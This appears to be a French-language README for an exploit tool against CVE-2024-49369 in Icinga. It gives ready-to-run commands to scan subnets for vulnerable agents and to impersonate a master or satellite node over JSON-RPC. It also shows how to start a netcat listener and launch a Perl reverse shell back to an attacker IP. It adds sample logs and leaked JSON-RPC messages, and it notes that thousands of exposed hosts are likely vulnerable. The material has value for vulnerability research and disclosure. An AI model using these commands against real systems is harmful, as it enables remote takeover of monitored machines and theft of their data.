
Outil d'exploitation pour CVE-2024-49369 dans Icinga, permettant le scan de sous-réseaux, la prise de contrôle d'agents via l'usurpation JSON-RPC, l'exécution arbitraire de commandes et un shell inversé.
Cette vulnérabilité exploite le protocole Icinga JSON-RPC pour cibler les nœuds surveillés exécutant des agents Icinga. En usurpant l'identité d'une instance Master/Satellite, les attaquants peuvent potentiellement prendre le contrôle des agents, exécuter des commandes arbitraires ou obtenir des informations sensibles.
Pour scanner un sous-réseau à la recherche d'agents vulnérables, exécutez la commande suivante :
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
Ceci scanne le sous-réseau spécifié par lots de 25 adresses IP. L'outil envoie un message Icinga::HELLO via le protocole JSON-RPC et identifie les agents répondants ainsi que leurs versions.
Si la configuration et l'exécution de commandes sont activées sur un point de terminaison (paramètre par défaut pour les nœuds surveillés avec des agents Icinga), un attaquant peut :
Cela peut entraîner une compromission complète du système (selon l'utilisateur du service) ou un accès limité.
Lorsque le nœud parent est toujours connecté, les connexions d'exploitation ressembleront à ceci dans le journal :
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
Nous pouvons voir que ce nœud est vulnérable à l'attaque car l'avertissement pour les clusters se déclenche, ce qui signifie que le satellite actuel est toujours connecté, mais cet agent nous considère comme un parent valide.
Démarrer un écouteur Netcat pour le reverse shell :
nc -lvnp 9001
Lancer l'exploit :
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host : Adresse IP de l'agent cible.--node-cn : Nom commun (Common Name) du Master/Satellite à usurper.--zone : Nom de la zone ciblée. Par défaut, master.--revip : Adresse IP de l'attaquant pour le reverse shell.--revport : Port de l'attaquant pour le reverse shell.Cette commande initie des tentatives de connexion répétées. Une fois que l'agent cible se déconnecte de son parent actuel, l'outil prend le relais, en envoyant et recevant des vérifications.
Un reverse shell basé sur Perl est utilisé dans le cadre d'une nouvelle vérification créée par l'outil.
Même si la configuration et l'exécution de commandes sont désactivées sur la cible, les attaquants peuvent toujours glaner des données sensibles en observant les résultats des vérifications envoyées à l'agent.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
Ces réponses peuvent révéler des configurations sensibles, des données de planification, ou même les résultats des services surveillés.
Sur Censys, il y a actuellement 24 003 hôtes avec un port Icinga accessible publiquement. Des vérifications ponctuelles indiquent que la plupart des hôtes exécutent encore une version vulnérable d'Icinga.
Cette recherche s'appuie sur les travaux discutés dans le blog d'Icinga.